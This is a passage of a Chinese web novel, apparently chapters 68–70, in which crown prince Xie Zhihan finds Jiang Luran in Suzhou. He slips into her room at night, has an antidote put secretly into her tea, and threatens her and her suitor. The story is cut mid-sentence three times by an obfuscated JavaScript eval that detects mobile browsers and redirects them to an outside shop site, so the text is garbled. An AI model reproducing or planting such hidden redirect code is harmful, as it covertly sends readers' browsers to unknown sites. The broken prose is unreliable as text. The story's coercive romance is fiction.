王神医此时正在细细品着手中刚刚调制好的茶水,刚咽下去一口,就看见风风火火闯进来的南风,脸色不太好。 神医放下手中的茶盏:“殿下出事了?” 难道是自己配的汤药出了什么问题? 菘蓝的面色也紧张起来。 南风看着二人紧张的模样:“倒也没有那么严重。” 二人脸色放松下来,既然殿下无事,那你一副如此严肃的模样是为何? 南风画风一转,握住王神医的手臂将他拽出殿外。 “不过,殿下虽然现在无事,但是再过几日就说不准了,神医快随我来。” 王神医一路跌跌撞撞跟着南风来到了谢知寒殿中,此时谢知寒已将政事处理好,才拿出地图铺平在桌面上。 就看到南风拽着王神医站在面前。 他稍稍抬眼,看着站在面前的二人,语气淡淡:“何事?” 王神医看着谢知寒的面色,不像是南风说的那般严重,王神医偷偷看了南风一眼,南风又偷偷看了回去。 两个人之间的小动作自然是逃不过谢知寒的视线,他看着二人,再次淡淡出声:“神医,到底是何事?” 王神医大抵猜到了南风的用意,知晓自己是被南风拉过来劝说,不过也正是到了该为谢知寒把脉的日子,今日便一并将把脉和换药一事都做了。 “老朽来为殿下看看脉象。” 谢知寒轻咳一声,其实这几日身体上并没有什么大的不适,南风已经对他说了好几日,他却一点也不想听。 什么身体不身体,他只想早日找到她。 于是就顾不得这许多。 王神医看着谢知寒面上明显的犹豫,劝道:“殿下,您身为储君,还是应当注重身体才是。” 谢知寒微微蹙了蹙眉,片刻后,还是让王神医把了脉。 很快,王神医的眉头也簇起来。 明明这些日子他配置的都是调理身体的汤药,但为何殿下的身体还是这般虚弱,甚至还有一些过甚的情况。 这不应该啊。 他配置的汤药绝对不会有问题。 除非是殿下没有按照他的吩咐认真喝药。 “殿下,身体为重,您应当要认真喝药才是,千万不可断了。” 谢知寒微微皱眉,在南风与王神医的注视下,最终还是应下了王神医的嘱托。 王神医把了脉之后又给谢知寒重新开了几副药方。 他前些日子因为给江姑娘试药,对身体损害许多,又因为这几日过于操劳,还没有认真喝药,于是身体更加虚弱,要想完全恢复,必须得好好调理。 绝对不可以掉以轻心。 找到江姑娘的确是一件非常重要的事情,可是殿下的身体更重要。 若是寻到了江姑娘,殿下到时再出些什么事情,那岂不是也很难办。 想来江姑娘也不愿这样的事情发生。 这日,宫外的暗卫前来禀报,说是看见有人看见了江姑娘的下落。 谢知寒立即站了起来,神色凝重。 暗卫恭敬地回禀:“那只商队离开之后,有人看见江姑娘向着南方去了。” 南方,谢知寒视线在地图上移动,晓晓为了躲避他,并没有去曲洲,而比曲洲更南的地方是宿州。 谢知寒不知道为何,凭着直觉就感觉到晓晓在宿州。 “派人去宿州,一有消息就立即过来禀报。” 暗卫领命下去了,室内很快又静了下来。 谢知寒推开窗,窗外盈满了月色,温柔而寒凉。 他一个人负手立于窗前,月色也洒在了他的身上,带来一片孤寂。 他静静地站在原地,看着月亮良久,晓晓,你会在那里吗? 我们,不久后会相见吗? 我们,当真是分开了好久。 * 宿州。 江露染这几日与沈昱相处的还不错,开始的时候,沈昱总是会害羞。 即便是现在,与江露染说话时,沈昱也仍旧会脸红。 但是除了脸红之外,沈昱没有任何不好的地方。 江露染喜欢吃的食物,她喜欢用的扇子类型,她喜欢吃的糕点味道。 以及她喜欢穿的衣服颜色,他统统记得很清楚。 沈昱的关心像是春天的细雨,温润仔细。 江露染不得不承认,阿姨的这个亲戚的确也是个很好的人。 看着面前人清俊的侧脸,江露染想,其实好像是自己有点不配。 * 宿州派去的人很快就有了消息,暗卫用最快的速度传给了谢知寒。 谢知寒打开信纸,看到里面确切的字迹,晓晓她真的在宿州,他的直觉果然是对的。 眼见谢知寒披了衣裳就要出宫,一副什么都不在乎的模样,南风心中叹了一声,面对江姑娘,殿下总是会第一时间失去分寸。 殿下去寻人没有错,可是此时宫中还需要人来处理政事啊,殿下若是走了,宫中之事谁来处理? 眼看殿下马上就要踏出殿外,南风犹豫了一下,还是拦住了他。 “不若就让属下去寻江姑娘,属下一定将江姑娘安全带回。” 谢知寒却对南风的话恍若未闻,披了衣裳径直走出殿外。 他此时唯一想做的就是早日见到晓晓,任何人都不能比自己先见到她。 他此番,是去向晓晓道歉的。 他之前,不该对她有所隐瞒,也不该对她那样冷漠,他如今就将所有的事情完完整整地告知于她。 “宫中的事情,给李丞相带一句话,他知晓该如何办。” 谢知寒说完,便头也不回地离开了。 南风轻叹,自己的话在殿下面前果然没有任何分量。 殿下也就只有江姑娘才能劝得住。 谢知寒将宫中的事情交代完之后,就立刻动身前往宿州。 一想到可以见到晓晓,谢知寒心中就充满了无数情绪。 其中最为明晰的就是喜悦,他已经有多日不曾见过她,不知道晓晓可曾也会想着自己。 谢知寒此次前来亦携带了解药,这次他不会再让她收到任何伤害。 这是他欠她的。 暗卫早已经打探到江露染的藏身之地,谢知寒一到宿州就去了江露染所在的地方。 江露染因为在一家商铺做学徒,而店家早已将她视作家人,刚好后边的小院之中有一个独立的房间,空着也是空着,阿姨就让江露染在那里居住。 谢知寒此时就站在小院外面,看着面前这座院墙高高的小院,晓晓就在这里,而不是与自己相隔千里万里,他想念她的时候,就可以见到她。 而不是一个人在很远的地方独自思念她。 这种感觉很奇妙,他总感觉,似乎皇宫并不是他的家,而是她在的地方,才是家。 此时想到晓晓就在他身侧,谢知寒的心才平静了下来。 翻墙不是君子所为,谢知寒在此时也不想做什么君子。 他去见自己多日未见的妻子,理所应当。 他站在窗前,看着面前那扇有着漂亮花纹的窗棂,犹豫许久,竟然有些不敢打开。 近乡情怯,谢知寒第一次有了这种切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284995|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实的感受。 最终,谢知寒还是下定决心,将窗户轻轻推开。 谢知寒只是一个简单地悬身,就进入到了院墙里面,他轻轻推开窗子,动作很轻地从窗子翻了进去。 明明是第一次做这种并不雅观的行为,谢知寒的举止落落大方,丝毫不见任何窘迫。 他轻轻踏入室内,晓晓睡觉很轻,他没有发出一丝声响。 他凝神望着面前熟睡的少女,那是他多日以来都朝思暮念的人。 终于在此刻见到,虽然她还在熟睡,并不知晓。 她面色略显苍白,眉间微微簇起,像是梦见了什么不开心的事情。 谢知寒行至她的身侧,伸出指尖轻轻抚在她的眉上,睡梦中的少女像是感受到了这种安抚,紧皱的眉缓缓松开。 他的指尖顺着少女的容颜逐渐下移,一寸一寸滑过少女的脸颊,动作温柔至极,他望着她的眼神也是温柔似水,仿佛天上如水的月色。 少女翻了个身,露出一段洁白似雪的手臂,她本身就害怕寒凉,若是此时受了凉,明日说不定就要受风寒。 谢知寒将被衾为少女完整地盖好。 谢知寒就这样在少女身边静静地陪伴了将近一夜,直到天色快要转亮,谢知寒才从窗户离开。 暗卫眼见自己的主子在他人的房间呆了一夜,并且还是翻窗户进的,眼神中逐渐透露出惊讶,但被他很快压了下去。 他可不想像南风一样回京领罚。 谢知寒手中拿出一枚褐色的药丸,对着暗卫吩咐:“想办法让晓晓将这枚药吃下去,务必亲眼看着她吃下。” 殿下很少有这样凝重的神色,暗卫自然知晓这枚药丸的重要性。 “是,殿下。” 江露染醒来时,颈后一阵酸痛,可能是昨晚做噩梦的缘故,她昨晚梦到有人一直在盯着自己,而且,今日醒来的时候,她还闻到了淡淡的檀香味。 虽然只有极轻极淡的一缕,可还是被她捕捉到了。 这种味道她只在殿下那里闻到过,难道昨夜殿下来过了? 江露染也觉得自己这种想法过于荒谬,殿下远在千里之外的京城,这里距离京城那么遥远,殿下怎么会来这里。 况且殿下此时应当还不知晓自己的下落。 江露染摇了摇头,立刻否定了自己这种荒谬的想法。 一定是自己昨夜没有睡好,才会生出如此荒谬的念头。 今日睡前可以喝些安神的茶。 江露染去了阿姨那里,眼见阿姨在那里惊叹什么,口中不断说着惊叹的话语。 “怎么了,阿姨?” 阿姨指着对面的糕点铺子,惊叹不已:“这可是全宿州最大的糕点铺子,今日不知是谁这么大的手笔,竟然将这铺子全部买了下来,真是好大的排场。” 江露染视线跟着阿姨的指尖移到了对面的铺子上,这家糕点铺子做出来的味道的确非常不错,她也跟着去吃过几次。 有人将它买了? 这人的确是非常有钱,不过这跟自己好像没有一点关系。 阿姨惊叹完之后,对着江露染道:“今日沈昱说要过来,我今日放你一天假,你去和沈昱去玩吧。” 一听到去玩,江露染的眉眼之间立刻染上了开心:“多谢阿姨!” “这有什么可谢谢我的。”阿姨笑道,反正很快就是一家人了。 沈昱很快就来了,江露染一看到他就笑的眉眼弯弯。 “江姑娘久等了。”沈昱笑着向她赔礼道歉。 “怎么会,沈公子来的正是时候呢。” 说着,两人就并肩出去了。 街上的人一看到这两人,公子年轻俊朗,少女眉眼带笑,一片明朗。 一副极为相配的模样。 很快就有人打趣道:“沈公子,你身边的这位姑娘是谁?看上去和你很是相配啊,不知何时能喝到二位的喜酒。” 宿州民风淳朴,说出口的话也是无比真实。 哪里就这么快了,她与沈公子也不过才认识几日,觉得对方是不错的朋友。 哪里就到了喝喜酒的程度了,倒也还没有这么夸张。 眼看身侧的少女很快害羞起来,沈昱立刻贴心地解围。 “别这样说,江姑娘如今只是...只是我的朋友。” “原来是...朋友。” 身边的人仍旧在挤眉弄眼。 69. 第 69 章 沈昱看着他们,也想不出来什么好的办法去阻止他们,只好任凭他们调侃。 只是耳尖逐渐染上红晕。 江露染见此情况,并没有说什么,只是站在沈昱身侧,坚定地向前。 不理会任何人的眼神和话语。 沈昱陪着江露染看了看首饰,为江露染买下一对耳坠,虽然期间江露染数次说着不要,但是沈昱觉得这对耳坠与江露染极为相配,还是固执地买了下来。 并且为江露染戴了上去。 江露染其实并不想在大庭广众之下举止如此亲密,但奈何不了沈昱坚持要这么做。 于是她微微垂着头,配合着他的动作。 身后不远处的谢知寒将二人所有的一切看的清清楚楚。 他看到自己的妻子与旁人一起并肩而立,那个陌生的男子为晓晓戴上了耳坠。 当着这么多人的面,他们到底知不知羞。 那个男人是谁,晓晓怎么可以让他如此。 她究竟还记不记得她是自己的妻子。 谢知寒望着远方举止亲密,毫无猜忌的二人,眸中视线逐渐变得冰寒,旁人从他身边经过也能感受到一阵冷意。 这位公子看上去...很是生气,也不知是何原因。 一边经过的路人看到谢知寒的脸色后如此想。 谢知寒远远看着举止亲密的二人,他可以看到晓晓唇边的清浅弧度,应当是在对那个男子微笑。 谢知寒放于身侧的指尖微动,视线凝固在江露染身上。 她怎么可以对着陌生男子如此微笑,她到底还记不记得自己。 谢知寒眸中郁色越发深重,指尖轻轻一动,就将一粒微小石子运用内力弹了出去。 石子刚巧就落在沈昱戴耳坠的指尖上,沈昱感觉到手指一阵疼痛,仔细检查,却并没有看到明显的伤口。 应当是不小心碰到了耳坠罢,沈昱如此想。 下次应当小心一些,碰到自己是没关系的,若是碰到江姑娘,就不太好了。 戴好耳坠之后,两人一起去了酒楼,这家酒楼与对面的糕点铺子是一个商人开的。 听闻那家糕点铺子被某位富豪买下,那这家酒楼自然也就被一并买下。 不过这与他们并无什么直接的关系,毕竟,铺子的主人不管是谁,他们总要开门做生意的。 沈昱知晓江露染喜好吃甜食,于是为江露染点的菜品都是甜口。 期间,沈昱还贴心地为江露染布菜,江露染并没有拒绝,两人像是一对恩爱的情人。 暗卫听从殿下的话,将那枚褐色的药丸磨成了药粉,放在了江姑娘的茶水之中,在暗处看着她亲口喝下。 暗卫很快去回禀了不远处的殿下,谢知寒听闻后淡淡点了点头,语气简短地回复了一句知晓。 暗卫看着殿下的脸色,似乎...并不太好. 可是江姑娘已经吃了解药,并且殿下还购下生意兴隆的铺子,日进斗金。 他不明白,殿下还有什么好生气的。 他不动声色向江姑娘那里望了一眼,眼看着江姑娘对那位沈公子温柔地微笑,他瞬间明白了,殿下不会是在吃醋吧? 不过,这位沈公子也真的是非常有胆识,竟然敢觊觎江姑娘,他真的非常佩服。 谢知寒视线也凝在那里,周身的气质越发冰冷。 他静静地看着他们一起亲密无比,旁若无人地用膳,心中涌动出难以言喻的感觉。 他很想牵住晓晓的手腕,带她离开那个男人面前。 她是自己的妻子,怎么可以对着旁人微笑。 况且那个人到底是何身份,有何企图,晓晓究竟清不清楚,就与他这么旁若无人的相处,若是那人是坏人,要对她不利,怎么办? “去查一查那个人的身份。” 暗卫领命后很快离去。 谢知寒凝眸看着不远处的二人,片刻之后转身拂袖而去。 待到二人用完膳,准备离开之时,沈昱突然被店家唤住:“公子请等一等,我们掌柜要见您。” 要见自己,沈昱一脸迷茫,他与这家酒楼的掌柜并无半点交集。 掌柜为何要见自己? 或许是有什么要紧的事? 沈昱对着江露染道:“抱歉,江姑娘,我去去就回。” 很快,室内就剩下江露染一个人。 她坐于原地静静从窗子看着外面的车水马龙。 大家似乎都很热闹,她处于这热闹之中,觉得自己有点格格不入。 从明轩阁离开已经数日,可是她仍旧觉得自己不属于除了那里的任何地方。 可是怎么可能呢? 离开了就是离开了,殿下此刻应当正在准备与孟姑娘的婚礼,而自己,是真的永远不再回宫中了。 她应当如阿姨所说,忘掉他,重新开始新的生活。 谢知寒静静望着窗前的少女,她如今的举止非常端庄,很少有与他相处时的那般肆意,即便是在窗边坐着,她的坐姿也非常标准,背挺得很直。 身姿纤薄,远远望去,像是庭院中一株傲然的荷花。 这是他的心上人,这是他走丢了好些日的妻子。 可是如今,她似乎忘记了以前,似乎真的在这里做上了无忧无虑的江姑娘。 可是自己呢,他该如何做? 他才应当是那个为她戴上耳坠,陪她一起亲密用膳的人。 那个什么沈公子,应当让他离远些。 谢知寒望她许久,而后缓步进入室内,随之而来的是一阵清冷的檀香。 他步子很轻,像是吓到窗边的少女。 江露染听到身后轻轻的脚步声,以为是沈昱回来了,她望着窗外的人群,没有转身。 只是轻声问他:“沈公子,掌柜找你是何事?” 身后那人一直没有出声。 随着那人逐渐的迫近,随之而来的还有她熟悉至极,永不敢忘的清冷檀香味道。 这味道与今日晨起闻到的那一缕极浅淡的檀香逐渐重合。 江露染心跳加剧,呼吸也急促了几分,而后,不可置信地回眸。 就看到站在自己面前的人不是什么沈公子,而是多日未见的太子殿下,谢知寒。 他此时就站在她面前,眼神一眨不眨地望着她。 不知因何原因,他此时的面色有些倦怠,但还是掩不住他俊美无俦的容颜。 这里是宿州,还是东宫,看着面前的人,江露染一时有些恍惚。 她看着面前的人,良久都没有反应过来。 她以为,他一直在京城,从未出过东宫。 而此时,面前的人一身白衣,容颜清隽,从容不迫地看着自己,视线中带着一种她并不熟悉的迫人。 以往,他从来不会这么看着自己。 一时之间没有人说话,空气仿佛凝固住了。 他们对视良久,直到谢知寒向前轻轻迈出一步,清冷的檀香味也向她迫近。 江露染才回过神,她不是在做梦,也不是出现了幻觉。 面前的人果真就是多日未见的,谢知寒。 他是怎么找到这里来的,以及他为何出现在这里,他方才都看到了多少。 一个个问题接踵而至,江露染却完全没有任何思考的能力。 只是看到他,江露染感觉她浑身的力气都被抽走了。 可是这不对。 明明是殿下先辜负了他们之间的承诺,为何此时是自己来承担这一切后果。 她应该硬气一点。 想到这里,江露染扶着桌子边缘让自己背部挺直,神情也很快调整过来,从惊慌失措到镇定自如,江露染只用了短短一瞬。 谢知寒将她所有的举止何情绪尽收眼底,看着她的神情瞬间转变,心底清楚地知晓,那是为了另外一个男人。 思及此,他眼神中的郁塞加重了几分,神情愈发迫人。 颇有几分山雨欲来风满楼的味道。 他缓步向她迫近,面色从容,气定神闲。 明明她没有做错,可她还是被他的样子吓到了,他一步步地逼近,她却一句话也说不出来。 只能一步步地后退,直到被困在方寸之地,身后是冰冷的墙壁,退无可退。 她眼睁睁看着面前的男子,莫名地承受着他的震怒。 可是,他为什么生气? 她如今已经离开京城,躲得他和孟姑娘远远的,他们此时不是应该幸福的在一起吗? 她觉得自己此时应当问点什么,可是看着谢知寒阴沉至极的面色,她还是忍住了,在此时招惹他,实在算不上一件好的计策。 他看着她犹豫的模样,心中无来由的升起烦躁。 晓晓何时对自己有所隐瞒,就连看到他也开始对他躲避。 这不是他们以往的相处方式。 难道离开了这些日子,她的心也跟着离开了吗? 还是说一切都是因为方才那名男子,到底是哪里来的什么沈公子。 难道这个沈公子竟然比自己还要好上千倍百倍吗? 想到方才他们亲密的模样,那个男子竟然还为晓晓戴上耳坠,当着这么多人的面,他们到底知不知羞。 而此刻,她竟然对自己避如蛇蝎,她究竟明不明白,自己才是她的夫君。 沉默半晌,谢知寒终于缓缓开口,语气冰冷,但也带了几分无奈。 “晓晓,就没有什么想跟我说的吗?” 江露染望着他,清亮的眸中带了水色,他想让自己跟他说什么? 祝福他与孟姑娘百年好合,长长久久? 她好像还做不到如此平静地祝福他与旁人,但是如果他实在想听的话,她也可以忍痛说一说。 她低眉思虑良久,终于说出一句。 “祝福殿下,与孟姑娘可以长长久久...我会祝福你们的。” 听闻这句话,谢知寒神色并没有松动,反而愈发沉重。 他走了这么远的路,多日未好好休息,不是来听她说这些细枝末节的事。 况且,晓晓口中那位孟姑娘,也早就离开东宫,他并没有与她发生任何事。 他只想听她说一句,跟他回家。 但此时看来,他有些异想天开。 他的晓晓,明显没有这个意思。 看着他眸中的郁色并没有散去,难道是自己说错了话? 不能吧? 还是说自己的这句祝福语说的并不好,不是他想听到的? 他千里迢迢而来,应当不是只为了听自己一句祝福吧,他可是储君,怎么可能为这样的小事走这么远。 可她也实在想不明白他想要听的到底是什么。 她也不想再想了,既然她已经离开,那么她就要忘掉从前,重新开始。 殿下于她,不过是陌路人罢了。 她不是宫中之人,以前不是,将来也不会是。 她本来就和他是两个世界的人,之前不过是她异想天开,做一些不切实际的美梦罢了。 如今梦醒,他们也的确该各归各位。 她的珠钗有些歪斜,谢知寒想将珠钗扶正,他的指尖才堪堪拂过她的发丝,就被她偏头躲过。 谢知寒一愣,若无其事收回指尖,面色苍白了几分,像是冬日落下来的细雪。 他不明白晓晓为何要躲着自己。 他只是来晚了一步,她就不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294896|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己了吗? 她当初信誓旦旦对着自己说,永远不会离开自己,如今就这样食言了。 真是一个好狠心的小骗子。 可是他偏生拿她没有一点办法。 她今日吃了解药,不知身体的毒解了没有。 谢知寒去握她的手腕,同样被她躲过,但是这次他没有再任由她妄为,他不顾她的皱眉,紧紧握住她的手腕,细细探她的脉搏。 跟着王神医的这些日子,他自己也学会了看脉象,尤其这是涉及她体内的毒,更是不可马虎一点。 他按住她乱动的身体,细细探着她的脉搏,脉象平稳,没有一丝异动,确定她的毒已经解了,他才放开对她的桎梏。 握着她的手腕时稍微有些重,她细白若雪的手腕微微泛红。 谢知寒想为她敷药,却被她躲过,江露染不明白他的意思是什么,明明她都已经离开了,不会再打扰他,可为何殿下还是追了过来。 她很不明白。 但她觉得她很有必要与殿下说清楚,不能一直这样纠缠下去。 既然决定向前看,就不可以再回头。 她从来不是一个拖泥带水的人。 “殿下,”她望着他,眸中视线清泠,语气也是万分理智。 “我们还是不要彼此纠缠,我们都重新开始吧。” 这是她今日第一次望着他的眼神说话,一如以往。 可是说出口的话却是这般绝情,她对他说,不要彼此纠缠,他们应该重新开始。 所以,今日那个沈公子就是她重新开始之后选择的人吗? 谢知寒望着她,那个沈公子真的比自己还要好吗? 他才不相信。 世上与她匹配的人只有自己。 他无比坚定的相信。 他的晓晓涉世未深,他可以给她机会选择,但是最后的人选只能是自己。 她如果想要时间,他可以给。 但是重新开始,不行。 他沉思良久,终是对她说出几个字:“晓晓,我可以给你时间。” 看着她不解地抬眸,他耐心地向她解释:“我可以给你了解其他人的机会,可是你不能抛下我。” 抛下,他怎么可以如此颠倒黑白。 当初难道不是殿下先抛弃自己的吗? 如今怎么做出一副受害者的姿态,在那里旁若无人地指责自己。 再说,她已离开京城,离开明轩阁,她与他之间再无半分干系。 殿下何必,再纠结往日种种呢? “殿下,当初不是先抛弃的我吗?如今这话又是从何而来?” 谢知寒看着面前少女倔强的眉眼,她今日似乎偏要跟自己争吵,多日来的奔波,以及试毒带来的身体不适,在此时加倍袭击着他。 他此时并不想继续与面前少女争执,他走了这么远的路,不是来与她争吵的。 或许是自己方式不对,有些过激,吓到她了。 是他不好,他清楚她的脾气,应该换种方式。 今日是自己的过错。 谢知寒压下身体的不适,看了她半晌,最后对着她道:“晓晓,抱歉,今日是我不好。” “那位沈公子无事,你不必担心。” 谢知寒最后看了她一眼,压下眸中的不设,还是离开了。 既然晓晓需要时间,那他就给她时间。 她想要的,他都会尽力满足她。 沈昱被带离房间,跟着小二来到另外一个房间,等了许久也不见有人来,不是说好掌柜要见自己吗? 怎么还不见人来。 纵使他脾气再好,此时也不免有些生气。 莫名让他离开,江姑娘可还是在原地等着自己呢,真的是好没有礼数。 就在沈昱即将要爆发之际,小二立刻推开门过来,对着沈昱道歉:“抱歉,公子,让您久等,我们掌柜突然有事不来了,非常抱歉耽误了公子您的时间,这是掌柜给您的补偿。” 小二将一瓶药塞到沈昱手中,沈昱接过,那是一瓶治疗淤痕的药膏。 这掌柜很奇怪,好端端的怎么送了一瓶药? 沈昱也来不及细想,将药瓶塞入袖中,对着小二道了一声“借过”,就回到了原来的房间。 江姑娘也不知等急了没有。 沈昱一踏进房间,就看到江露染安静地坐在椅子上,面上的表情似乎有些失魂落魄。 不像是等急了的样子,倒像是很伤心的样子。 沈昱心中一紧,难道是方才有什么人过来伤害了江姑娘,若是江姑娘有丝毫闪失,那自己岂不是犯了大罪。 “江姑娘,你可还好?” 沈昱问第二遍时,江露染才抬起头。 看着对面公子关切的眉眼,江露染缓缓摇了摇头,示意沈昱不必为自己担心。 沈昱看着江露染苍白的面色,他虽然不知他离开的这段时间发生了什么,但他想为她分忧。 江姑娘性格开朗,忧郁的神情并不适合她。 他尝试着说些其他的话题:“方才说是掌柜找我,但我等了好久也不见掌柜人影,而且这位新掌柜有点奇怪,谁初次见面会给人送一瓶药,他又没有打伤我。” 本来想说些奇怪的事哄江姑娘开心一下,但是谁知,她脸色没有好转,反而更加苍白了。 难道这件事不够奇怪?还是江姑娘不想听这些? 沈昱心中还在疑惑,突然看到江露染露出的一截手腕上蓦然红了一圈。 他心中一紧,立刻走上前问:“江姑娘,你受伤了?方才是不是有人欺负你?告诉我,那人是谁?” 光天化日之下,欺负一个少女,真的是不讲礼数。 70. 第 70 章 全天下敢如此明目张胆欺负自己的人...也就只有殿下。 不过,这一切与沈公子没有关系。 这是她与殿下之间的事情,她不能将沈公子也牵扯进来。 她掩下袖子,将腕上的微红掩去。 抬头对着沈昱微笑:“没关系的,沈公子。” 这怎么能叫没事呢?想来江姑娘可能是害羞了。 沈昱将袖中那瓶药递过去,不得不说,这位掌柜虽然奇怪,但是送的物品此时还真是很有用。 “江姑娘,这是那位新掌柜送来的药,你既受伤了,就将这药用了吧。” 江露染看着沈昱手中雪白的瓷瓶,上面的花纹她曾经见过无数次,这是东宫的药。 江露染面色怔怔的,看着那瓶药良久,透过药瓶仿佛看到了明轩阁中的时光。 今日见到了殿下,还见到了这瓶药,她真的是还没有做好准备,一日之间与他产生这么多交集。 江露染脑海中有些昏沉。 沈昱看着面前的女子沉默不语,以为是自己说错了话惹得江姑娘不开心。 “江姑娘,是不是我说错什么话了?”他小心翼翼地问。 江露染这才从自己的思绪中抽离出来,望着面前关切无比的沈昱,对着他道:“不是的,是我在想一些其他的事情,是我的错。” 沈昱看着手中的药瓶,犹豫着:“江姑娘...还需要这瓶药吗?” 这是殿下的东西,即使他送了人,也不是属于自己的。 既然决定要断,那么就要断的干净些。 她摇摇头,轻声拒绝了。 “既然是掌柜送给沈公子的,那我自然不能要了,沈公子无需为我担心,左不过是一些不起眼的小伤罢了。” 甚至连小伤都不是,不过是一些淤痕,明日醒来就什么都看不见了。 如果殿下以后不来寻自己,那么她可以当今日什么都没有发生。 他没有来这里,她也没有看到他。 沈昱愣了一下,将那瓶药收入袖中,再也没有拿出来。 江露染回去之后,就将窗户全部关严,看来她今日晨起闻到的味道没有错,那缕极轻极淡的檀香味就来自于殿下。 也不知他是怎样进来的,竟然趁着她熟睡的时候进来,殿下好歹也是一个君子,真是...真是不知羞耻。 怎么可以明目张胆进入女子的闺房,他要是在这样,她就要报官了。 就算他是太子殿下又如何,擅闯民宅是违反律法,一样要被抓起来。 江露染临睡之前仔细看了好几遍门窗,确定都关严了,才躺到床上。 谢知寒望着眼前锁好的门窗,面色平静似水,但是眼眸中的暗色涌动,表明他此时的心情并没有如表面上的那般平静。 暗卫小心翼翼撬着窗户,他也不知道做太子殿下身边的暗卫还要做撬窗这种事,幸好他会,否则今夜之后他可能就要另寻一份工作。 不过,他偷瞄了一眼殿下,偷摸近女子的房间可不是什么君子所为,殿下确定要这样? 日后若是传了出去,岂不是有损殿下名声。 不过,这好像也并不是自己所关心的问题。 暗卫很快撬开窗户,退至一侧,谢知寒顺利地从窗户进入,即使是做这种事情,他的动作也是行云流水,白色的身影从容不迫。 江露染其实并没有睡得很死,她听到外面好像有窸窸窣窣的声音,立刻就醒了过来,声音来自窗户那边。 她明明锁紧了的,难道是外面风太大了? 她向着窗户走了几步,顺便拿上了一根防身的木棍,也说不准是歹徒,小心一点比较好,若是歹徒,她就一棒子敲上去,保管他有来无回。 不过还是有一些紧张,她握着木棍的手紧了紧。 下一瞬,就看到一个白色的身影从窗外翻了进来,江露染想也不想,立刻就拿起木棍敲了上去,口中呼救:“救命,,,” 然而,她才堪堪张开口,就被那人紧紧捂住唇,手中的木棍也被他夺了下来。 “别出声。”淡淡的声音响在她的耳畔,鼻尖萦绕着熟悉至极的檀香。 是谢知寒。 自己明明都将窗户锁住了,她那么明显的拒绝她不信他看不懂,但他还是就这么闯了进来。 他真是...不知廉耻,他究竟有没有尊重自己,夜闯女子闺房,若是传了出去,她的名声可要怎么办。 眼看怀中的少女安静下来,他捂着她唇的力道松了松,可是仍旧舍不得放开她,他...很想她。 江露染没有给他继续拥抱的机会,趁着他松了力道,就立刻离开了他的怀抱。 “殿下,这是在做什么?” 她冷冷地质问,眉眼之间不带半点情绪,冷漠至极,像是在对待一个陌生人。 他知道自己今日做的实在不对,可是他只是想见见她。 何况,她是自己的妻子,来见见她其实是一件理所应当的事情。 她为何一看见自己,就要躲开,明明她今日与沈昱相处不是这样的,他们那样亲密,甚至还要沈昱为她戴了耳坠。 而她,明明认出了那瓶药,却不肯收下。 “为什么?” 什么?江露染不明白他突如其来的疑惑。 “为什么没有收下那瓶药?”他的语气很淡,像是今夜的晚风,可江露染还是听出他语气中的质问。 “那是殿下的东西,我为什么要收下?” 他的东西,不也就是她的吗? 她在抗拒些什么?今日抗拒东西,那明日抗拒的是不是他的整个人? 谢知寒缓步逼近,白日里的那股压迫感又重新向江露染袭来,她不明白他为何在短时间内又发了脾气。 他未经允许就闯入她的房间,明明今日该生气的人是自己才对。 “你别乱来,你再过来我就要喊人了。”语气冷冰冰的。 谢知寒眸中冰寒,视线所过之处也带来一阵冰冷,像是夏日突如其来的暴雨,令人无法招架。 她要喊谁?那位才见了不过几日的沈公子吗? 他们才相见了几日,就已经到了如此地步吗? 那之前自己与她的种种,又算什么? 她怎么可以在这么短的时间之内,就爱上别人,到底将自己置于何地? 他眸中郁色越发深重,看着她仍旧向后躲避的模样,心中愈发疼痛,面上却反而笑了出来。 笑容极其浅淡,像是天际被云遮住的月色。 “晓晓要唤谁?你可要想清楚,孤可是储君,你想让孤今晚对谁动手?嗯?” 江露染不可置信地望着他,他这可是明晃晃的以势压人,以前他明明不是这样的。 她很是气愤,眼神中的光越发明亮,像是天上的星辰。 她气鼓鼓不说话的样子像个小包子,谢知寒终于在她脸上看到几分熟悉的模样。 心中的气消下去几分。 只要她不对着自己冷冰冰,他是不会像方才那样的,他只想...让晓晓跟他早点回家。 看的出她真的生气了,谢知寒心软了下来,他将人牵到椅子旁,她乖乖的跟在他身后,再没有闹过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304650|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别扭,像是之前无数次那样,谢知寒很满意。 江露染很想说点什么,可是他告诉她,他是高高在上的太子殿下,手握权柄,这里所有人的生死全在他手上,她什么也不能说。 若是将阿姨一家连累了,那就是自己的过错。 江露染看也不看身边的人,若是他要对自己做些什么,那她就狠狠地咬上去,若是将他咬伤,也是自己的罪,连累不上旁人。 